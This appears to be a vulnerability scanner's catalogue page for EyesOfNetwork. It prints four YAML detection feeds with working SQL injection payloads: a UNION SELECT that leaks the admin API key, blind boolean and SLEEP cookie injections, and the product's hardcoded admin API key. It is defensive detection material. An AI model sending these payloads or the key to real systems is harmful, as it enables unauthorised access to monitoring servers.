EyesOfNetwork — 4 vulnerability checks

noctis ships 4 vulnerability checks for EyesOfNetwork, covering 11 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

EyesOfNetwork getApiKey SQL injection leaking the admin API key

CVECVE-2020-8656
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/eyesofnetwork/CVE-2020-8656.yaml

Sends a UNION SELECT in the username parameter of /eonapi/getApiKey and reports when the API returns an EONAPI_KEY without authentication.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /eonapi/getApiKey?username=%27%20union%20select%201,%27admin%27,%271c85d47ff80b5ff2a4…
  2. Checks resp.banner for "EONAPI_KEY": "[a-f0-9]+" → finding QoD 75: EyesOfNetwork SQLi leaked admin API key: …

References:

Feed source — tests/vulnerabilities/eyesofnetwork/CVE-2020-8656.yaml
uid: d0bfd267-105d-405f-8c06-800d79dfcc2e
name: "CVE-2020-8656 — EyesOfNetwork getApiKey SQL injection leaking the admin API key (CVSS 9.8)"
description: "Sends a UNION SELECT in the username parameter of /eonapi/getApiKey and reports when the API returns an EONAPI_KEY without authentication."
cves: [CVE-2020-8656]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.3
tags: [eyesofnetwork, sqli, auth-bypass]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-8656"
  - "OpenVAS NASL 2020/eyesofnetwork/gb_eyesofnetwork_api_vuln_active.nasl (GPL-2.0-only)"

# Ported from OpenVAS NASL 2020/eyesofnetwork/gb_eyesofnetwork_api_vuln_active.nasl (GPL-2.0-only, Greenbone Community Feed).
# SQL injection in getApiKey returns the admin API key.
steps:
  - id: probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /eonapi/getApiKey?username=%27%20union%20select%201,%27admin%27,%271c85d47ff80b5ff2a4dd577e8e5f8e9d%27,0,0,1,1,8%20or%20%27&password=h4knet HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  - id: detect
    action: match
    source: resp.banner
    pattern: "\"EONAPI_KEY\": \"[a-f0-9]+\""
    on_match:
      finding:
        confidence_delta: 0.5
        qod: 75
        evidence: "EyesOfNetwork SQLi leaked admin API key: {{resp.banner}}"
      stop: true

Eyes Of Network eonweb user_id cookie SQL injection

CVECVE-2020-9465
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/eyesofnetwork/CVE-2020-9465.yaml

Eyes Of Network (EON) eonweb 5.1 to 5.3-2 builds an SQL query from the user_id cookie on every page, before authentication. The test requests /index.php three times with a user_id cookie that closes the quote and adds a CASE WHEN condition on a random subtraction: when the condition is false the injected regular expression is invalid and the database query fails, when it is true the query runs. It reports the flaw only when the false condition breaks the page (HTTP 500 or a PHP fatal error page), the true condition gets the normal redirect, and a second false condition with new numbers breaks it again — proof that the database evaluates the injected SQL. The probe reads no data and changes nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /index.php
  5. HTTP(S) request GET /index.php
  6. Parses / computes the next value with a Rhai script
  7. Checks s.vuln for ^true$ → finding QoD 97: Eyes Of Network eonweb user_id cookie SQL injection

References:

Feed source — tests/vulnerabilities/eyesofnetwork/CVE-2020-9465.yaml
# Eyes Of Network (EON) eonweb 5.1 – 5.3-2 — unauthenticated SQL injection in
# the user_id cookie (CVE-2020-9465).
#
# Ported from OpenVAS/Greenbone NVT
# 2020/eyesofnetwork/gb_eyesofnetwork_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.143573, GPL-2.0-only).
#
# Sink (eonweb 5.3-2, include/classes/Translator.class.php, built on every page
# through getDefaultPage(), so GET /index.php reaches it before any login):
#     select user_language from users where user_id='".$_COOKIE['user_id']."'
# 5.3-3 replaced it with a PDO prepared statement.
#
# Boolean blind proof (write-free, reads nothing). The cookie closes the quote
# and appends  RLIKE (SELECT (CASE WHEN (<cond>) THEN 1 ELSE 0x28 END))-- x
#   - false <cond>: the regexp is "(" — MySQL/MariaDB raise "missing )" — the
#     query fails, mysqli_result() fatals on the bool and the page dies with an
#     HTTP 500 (or a "Fatal error" page when display_errors is on);
#   - true <cond>: the query runs (no row), index.php sends its 302 Location.
# A fixed eonweb binds the cookie, so both requests get the same 302.
#
# Differences from the NVT (stronger, no extra request class):
#   - the NVT uses the fixed condition 2550=2551 / 2550=2550; here <cond> is
#     A-B=<diff> with random A and B per scan, so the database must compute the
#     difference the scanner never sent — a page that just reacts to quotes or to the
#     literal "2550=2551" cannot fake it;
#   - a third request repeats the false branch with fresh numbers (false → true
#     → false), so a host that merely 500s intermittently is not reported;
#   - the error branch also accepts a 200 "Fatal error"/mysqli error page
#     (display_errors on), which the NVT's 500-only test misses, but never a
#     redirect.
uid: 6709da83-c384-46cc-946c-4f3fa124d3bf
name: "CVE-2020-9465 — Eyes Of Network eonweb user_id cookie SQL injection"
description: "Eyes Of Network (EON) eonweb 5.1 to 5.3-2 builds an SQL query from the user_id cookie on every page, before authentication. The test requests /index.php three times with a user_id cookie that closes the quote and adds a CASE WHEN condition on a random subtraction: when the condition is false the injected regular expression is invalid and the database query fails, when it is true the query runs. It reports the flaw only when the false condition breaks the page (HTTP 500 or a PHP fatal error page), the true condition gets the normal redirect, and a second false condition with new numbers breaks it again — proof that the database evaluates the injected SQL. The probe reads no data and changes nothing."
cves: [CVE-2020-9465]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.30
tags: [eyesofnetwork, eonweb, sqli, blind-sqli, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-9465"
  - "https://github.com/EyesOfNetworkCommunity/eonweb/releases/tag/5.3-3"

steps:
  # 1 — random conditions. f1/f2 are false (the difference is off by one), t
  #     is true. A-B, not A+B: PHP before 7.4.5 URL-decodes cookies with
  #     "+" → space (CentOS 7 EON runs PHP 5.4), which would break the true
  #     branch; "-" needs no encoding.
  - id: build
    action: script
    store_as: x
    code: |
      let a = rand_int(5000, 9999);
      let b = rand_int(1000, 4999);
      let c = rand_int(5000, 9999);
      let d = rand_int(1000, 4999);
      let tag = rand_str(4);
      let pre = "user_id=1' RLIKE (SELECT (CASE WHEN (";
      let post = ") THEN 1 ELSE 0x28 END))-- " + tag;
      #{
        f1: pre + a + "-" + b + "=" + (a - b + 1) + post,
        t: pre + a + "-" + b + "=" + (a - b) + post,
        f2: pre + c + "-" + d + "=" + (c - d - 1) + post
      }

  # 2 — false condition: must break the page.
  - id: false1
    action: http_request
    method: GET
    path: "/index.php"
    port: "{{port}}"
    headers:
      Cookie: "{{x.f1}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: rf1

  - id: eval-false1
    action: script
    condition: "rf1.status > 0"
    store_as: s1
    code: |
      let err = rf1.status >= 500 || (rf1.status == 200 && egrep("(Fatal error|mysqli|Uncaught|regexp|SQL syntax)", rf1.body) != "");
      #{ err: err && !("location" in rf1.headers) }

  # 3 — true condition: must get the normal redirect.
  - id: true1
    action: http_request
    method: GET
    path: "/index.php"
    port: "{{port}}"
    condition: "s1.err == true"
    headers:
      Cookie: "{{x.t}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: rt

  # 4 — false again with fresh numbers: must break the page again.
  - id: false2
    action: http_request
    method: GET
    path: "/index.php"
    port: "{{port}}"
    condition: "s1.err == true && rt.status >= 300 && rt.status < 400 && \"location\" in rt.headers"
    headers:
      Cookie: "{{x.f2}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: rf2

  - id: eval
    action: script
    condition: "s1.err == true && rf2.status > 0"
    store_as: s
    code: |
      let err = rf2.status >= 500 || (rf2.status == 200 && egrep("(Fatal error|mysqli|Uncaught|regexp|SQL syntax)", rf2.body) != "");
      #{ vuln: err && !("location" in rf2.headers) }

  - id: report
    action: match
    source: s.vuln
    pattern: "^true$"
    condition: "s.vuln == true"
    on_match:
      finding:
        title: "Eyes Of Network eonweb user_id cookie SQL injection"
        description: "GET /index.php with a user_id cookie carrying an injected CASE WHEN condition broke the page when the condition was false and got the normal redirect when it was true, twice with different random numbers: the database evaluates SQL injected in the user_id cookie without authentication (CVE-2020-9465)."
        remediation: "Upgrade Eyes Of Network eonweb to 5.3-3 or later, which binds the user_id cookie as a query parameter, and restrict access to the web interface to administration networks."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET /index.php — false condition: HTTP {{rf1.status}}; true condition: HTTP {{rt.status}} Location {{rt.headers.location}}; second false condition: HTTP {{rf2.status}}"
      stop: true

EyesOfNetwork eonapi hardcoded API key

CVECVE-2020-8657
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/eyesofnetwork/CVE-2020-8657.yaml

Detects EyesOfNetwork 5.3 eonapi accepting a hardcoded/predictable admin apiKey, granting unauthenticated access to the authenticated API. The check is a safe read-only differential against /eonapi/getApiVersion: a bogus key must be rejected and the hardcoded key must be accepted before a finding is reported. No account is created and no state is changed.

How noctis detects it

  1. HTTP(S) request GET /eonapi/getApiVersion?username=admin&apiKey={{eon_bogus_key}}
  2. Checks resp_bogus.body for Invalid API key|"http_code"\s*:\s*"401
  3. HTTP(S) request GET /eonapi/getApiVersion?username=admin&apiKey={{eon_api_key}}
  4. Checks resp_real.body for "status"\s*:\s*"authenticated" → finding QoD 75: eonapi rejected a bogus apiKey but accepted the hardcoded apiKey (authenticated): …

References:

Feed source — tests/vulnerabilities/eyesofnetwork/CVE-2020-8657.yaml
# EyesOfNetwork eonapi hardcoded / predictable API key — CVE-2020-8657
#
# EyesOfNetwork 5.3 ships its /eonapi/ API with a hardcoded (predictable)
# admin apiKey. Any client that presents that key is granted authenticated
# API access without a valid login, defeating the apiKey check entirely.
#
# Detection (safe, read-only — NO state change):
#   The feed never creates a user or writes anything. It exercises a
#   read-only info endpoint (/eonapi/getApiVersion) with two requests and
#   requires a DIFFERENTIAL to prove the target actually validates the key:
#     1. a request with a deliberately BOGUS apiKey must be REJECTED
#        (body reports an "Invalid API key" / 401 error, no authenticated success);
#     2. a request with the hardcoded apiKey must be ACCEPTED
#        (body reports an authenticated success).
#   A finding is emitted ONLY when the bogus key is rejected AND the
#   hardcoded key is accepted. The bogus-key control defeats a permissive
#   endpoint that would answer "authenticated" to any key.
uid: 46fc04b5-f5a4-43e6-b036-bb5c29dd2e8c
name: "EyesOfNetwork eonapi hardcoded API key (CVE-2020-8657)"
description: |
  Detects EyesOfNetwork 5.3 eonapi accepting a hardcoded/predictable admin
  apiKey, granting unauthenticated access to the authenticated API. The check
  is a safe read-only differential against /eonapi/getApiVersion: a bogus key
  must be rejected and the hardcoded key must be accepted before a finding is
  reported. No account is created and no state is changed.
cves: [CVE-2020-8657]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [eyesofnetwork, eonapi, hardcoded-credentials, auth-bypass]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-8657"

# The hardcoded admin apiKey shipped by the vulnerable release. It is a fixed
# constant in the appliance, so the feed presents it verbatim; the bogus-key
# control is what proves the endpoint genuinely validates the key.
vars:
  eon_api_key: "1c85d47ff80b5ff2a4dd577e8e5f8e9d"
  eon_bogus_key: "00000000deadbeef00000000deadbeef"

steps:
  - id: init
    action: set_var
    var_name: bogus_rejected
    var_value: false

  # ── Control: a bogus apiKey must be rejected ─────────────────────────────
  - id: bogus-probe
    action: http_request
    method: GET
    path: "/eonapi/getApiVersion?username=admin&apiKey={{eon_bogus_key}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: resp_bogus

  - id: bogus-rejected
    action: match
    source: resp_bogus.body
    # EyesOfNetwork reports the API error in the JSON body (HTTP 200 wrapper).
    pattern: "Invalid API key|\"http_code\"\\s*:\\s*\"401"
    on_match:
      set_vars:
        bogus_rejected: true

  # ── Probe: the hardcoded apiKey must be accepted ─────────────────────────
  - id: key-probe
    action: http_request
    method: GET
    path: "/eonapi/getApiVersion?username=admin&apiKey={{eon_api_key}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: resp_real

  - id: key-accepted
    action: match
    source: resp_real.body
    pattern: "\"status\"\\s*:\\s*\"authenticated\""
    # Emit ONLY when the bogus key was rejected (endpoint really validates keys)
    # AND the hardcoded key is accepted with an authenticated success.
    condition: "bogus_rejected == true && resp_real.status == 200"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 75
        evidence: "eonapi rejected a bogus apiKey but accepted the hardcoded apiKey (authenticated): {{resp_real.body}}"
      stop: true

EyesOfNetwork logout.php session_id Cookie SQL Injection

CVECVE-2017-1000060, CVE-2017-14247, CVE-2017-14252, CVE-2017-14401, CVE-2017-14402, CVE-2017-14403, CVE-2017-14404, CVE-2017-14405
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/eyesofnetwork/CVE-2017-1000060.yaml

Detects the unauthenticated blind SQL injection in the EyesOfNetwork web interface (eonweb) 5.1 and older: logout.php pastes the session_id cookie into a DELETE query without escaping. After a control request to /logout.php answers with the EyesOfNetwork page, the feed sends session_id cookies that close the quoted value and add always-false conditions holding a database SLEEP of 6 and then 3 seconds, and reports the injection when each reply is delayed by its own sleep time. Nothing is deleted or written. When the timing proof does not fire, the feed reads /README.md and reports an eonweb version 5.1 or older at a lower confidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /logout.php
  3. HTTP(S) request GET /logout.php
  4. HTTP(S) request GET /logout.php
  5. Checks slow3.body for [\s\S]* → finding QoD 75: EyesOfNetwork blind SQL injection confirmed by timing via the /logout.php session_id cookie: control (SLEEP(0)) answered in … ms, injected …
  6. HTTP(S) request GET /README.md
  7. Parses / computes the next value with a Rhai script
  8. Checks readme.body for EyesOfNetwork web interface [0-9]+\.[0-9]+ → finding QoD 70: EyesOfNetwork web interface … reported by /README.md (5.1 and older are affected; the timing proof did not confirm the injection)

References:

Feed source — tests/vulnerabilities/eyesofnetwork/CVE-2017-1000060.yaml
# EyesOfNetwork (eonweb) 5.1 — unauthenticated SQL injection in logout.php via the
# session_id cookie (CVE-2017-1000060), plus the other eonweb 5.1-0 flaws tracked
# with it (CVE-2017-14247, -14252, -14401..-14405).
#
# Ported from OpenVAS/Greenbone NVT `2017/gb_eyesofnetwork_logout_sqli.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.108174, GPL-2.0-only).
#
# eonweb 5.1-0 logout.php (EyesOfNetworkCommunity/eonweb, tag 5.1-0):
#   include("header.php");
#   if(isset($_COOKIE["session_id"])) {
#     $sessid=$_COOKIE["session_id"];
#     sqlrequest($database_eonweb,"DELETE FROM sessions where session_id='$sessid'");
#   }
# The cookie is pasted into the DELETE unescaped, before any authentication.
# Nothing of the query result or error reaches the page, so the injection is
# blind. 5.2-0 switched to a prepared statement (`session_id=?`).
#
# The NASL injects `session_id=<vt>' OR SLEEP(n)=1 -- -` (BENCHMARK for 5.1)
# and times sleeps of 1, 3 and 5 s. In a DELETE, `OR SLEEP(n)` is evaluated once
# PER ROW of the sessions table: verified on MariaDB 10.11, it never sleeps when
# nobody is logged in (empty table → missed) and sleeps k×n s with k open
# sessions (outside the timing window → missed). Detection here instead wraps
# the sleep in a derived table:
#   session_id=noctis<rand>' AND 0=1 OR (SELECT 0 FROM (SELECT SLEEP(n))a)=1 -- -
# A derived table is materialised once, before the rows are scanned, so the
# delay is exactly n s whatever the number of sessions (same MariaDB check:
# 1.0 s with 0 and with 3 rows). Both halves of the condition are always false
# (`AND 0=1`, `0=1`), so no row is deleted even if session_id were an integer
# column (where 'noctis…' would compare equal to 0). No `user_name` cookie is sent, so logout.php writes no
# log line either.
#
# Timing proof (QoD 75), gated on the control request — same payload with
# SLEEP(0) — answering 200 with the EyesOfNetwork page title in < 3 s:
# SLEEP(6) must answer within control + [5 s, 9 s) and SLEEP(3) within
# control + [2.5 s, 4.5 s), at least 2 s apart. A slow host, or a WAF/IPS that
# delays every request carrying a quote by the same amount, cannot satisfy both
# windows. duration_ms covers the full response (#1924), whether or not
# eonweb's output buffering holds the headers until the script ends.
#
# Fallback (QoD 70), as the NASL does: when the timing proof does not fire,
# /README.md ("EyesOfNetwork web interface X.Y", served from the eonweb web
# root) reporting 5.1 or older is reported with every CVE of the 5.1-0 batch.
#
# Better than the NASL: the delay no longer depends on how many users are
# logged in (the NASL misses idle and busy servers), each delay must land in
# its own window (the NASL accepts any reply between n and n+10 s), and the
# product is confirmed before timing.
uid: 3e64371b-266b-47d6-bb80-14d0c18e0e4c
name: "EyesOfNetwork logout.php session_id Cookie SQL Injection (CVE-2017-1000060)"
description: |
  Detects the unauthenticated blind SQL injection in the EyesOfNetwork web
  interface (eonweb) 5.1 and older: logout.php pastes the session_id cookie
  into a DELETE query without escaping. After a control request to
  /logout.php answers with the EyesOfNetwork page, the feed sends session_id
  cookies that close the quoted value and add always-false conditions
  holding a database SLEEP of 6 and then 3 seconds, and reports the injection
  when each reply is delayed by its own sleep time. Nothing is deleted or
  written. When the timing proof does not fire, the feed reads /README.md and
  reports an eonweb version 5.1 or older at a lower confidence.
cves: [CVE-2017-1000060, CVE-2017-14247, CVE-2017-14252, CVE-2017-14401, CVE-2017-14402, CVE-2017-14403, CVE-2017-14404, CVE-2017-14405]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: sqli
tags: [eyesofnetwork, eonweb, sqli, blind, time-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-1000060"
  - "https://rioru.github.io/pentest/web/2017/03/28/from-unauthenticated-to-root-supervision.html"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-14247"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-14252"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-14401"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-14402"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-14403"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-14404"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-14405"
  - "OpenVAS/Greenbone NASL 2017/gb_eyesofnetwork_logout_sqli.nasl (GPL-2.0-only)"

steps:
  # Per-run cookie prefix: never equal to a real (integer) session id.
  - id: gen-sid
    action: script
    code: '"noctis" + rand_hex(8)'
    store_as: sid

  # Pre-initialise every stored result read in a condition below.
  - id: init-ctrl
    action: set_var
    var_name: ctrl
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-slow6
    action: set_var
    var_name: slow6
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-slow3
    action: set_var
    var_name: slow3
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-readme
    action: set_var
    var_name: readme
    var_value: {status: 0, body: ""}

  - id: init-ver
    action: set_var
    var_name: ver
    var_value: {found: false, vulnerable: false, version: ""}

  # Cookie value is URL-encoded (PHP decodes $_COOKIE):
  #   %27 = '   %20 = space   %3D = =
  # Control: same shape, SLEEP(0).
  - id: control
    action: http_request
    method: GET
    path: "/logout.php"
    headers:
      Cookie: "session_id={{sid}}%27%20AND%200%3D1%20OR%20(SELECT%200%20FROM%20(SELECT%20SLEEP(0))a)%3D1%20--%20-"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    store_as: ctrl

  - id: inject-sleep6
    action: http_request
    method: GET
    path: "/logout.php"
    headers:
      Cookie: "session_id={{sid}}%27%20AND%200%3D1%20OR%20(SELECT%200%20FROM%20(SELECT%20SLEEP(6))a)%3D1%20--%20-"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "ctrl.status == 200 && ctrl.duration_ms < 3000 && stridx(ctrl.body, \"<title>EyesOfNetwork</title>\") >= 0"
    store_as: slow6

  - id: inject-sleep3
    action: http_request
    method: GET
    path: "/logout.php"
    headers:
      Cookie: "session_id={{sid}}%27%20AND%200%3D1%20OR%20(SELECT%200%20FROM%20(SELECT%20SLEEP(3))a)%3D1%20--%20-"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "ctrl.status == 200 && ctrl.duration_ms < 3000 && slow6.status == 200 && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow6.duration_ms < ctrl.duration_ms + 9000"
    store_as: slow3

  - id: confirm-timing
    action: match
    source: slow3.body
    pattern: "[\\s\\S]*"
    condition: "ctrl.status == 200 && ctrl.duration_ms < 3000 && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow6.duration_ms < ctrl.duration_ms + 9000 && slow3.status == 200 && slow3.duration_ms >= ctrl.duration_ms + 2500 && slow3.duration_ms < ctrl.duration_ms + 4500 && slow6.duration_ms - slow3.duration_ms >= 2000"
    on_match:
      finding:
        cves: [CVE-2017-1000060]
        confidence_delta: 0.55
        qod: 75
        evidence: "EyesOfNetwork blind SQL injection confirmed by timing via the /logout.php session_id cookie: control (SLEEP(0)) answered in {{ctrl.duration_ms}} ms, injected SLEEP(6) in {{slow6.duration_ms}} ms and SLEEP(3) in {{slow3.duration_ms}} ms (delay follows the injected argument)"
      stop: true

  # ── Fallback: eonweb version from /README.md ────────────────────────────
  - id: readme
    action: http_request
    method: GET
    path: "/README.md"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    store_as: readme

  - id: parse-version
    action: script
    condition: "readme.status == 200"
    code: |
      let m = eregmatch("EyesOfNetwork web interface ([0-9]+)\\.([0-9]+)", readme.body);
      if m.len() < 3 {
        #{ found: false, vulnerable: false, version: "" }
      } else {
        let major = int(m[1]);
        let minor = int(m[2]);
        #{ found: true, vulnerable: major < 5 || (major == 5 && minor <= 1), version: m[1] + "." + m[2] }
      }
    store_as: ver

  - id: confirm-version
    action: match
    source: readme.body
    pattern: "EyesOfNetwork web interface [0-9]+\\.[0-9]+"
    condition: "readme.status == 200 && ver.found == true && ver.vulnerable == true"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "EyesOfNetwork web interface {{ver.version}} reported by /README.md (5.1 and older are affected; the timing proof did not confirm the injection)"
      stop: true

View these feeds on GitHub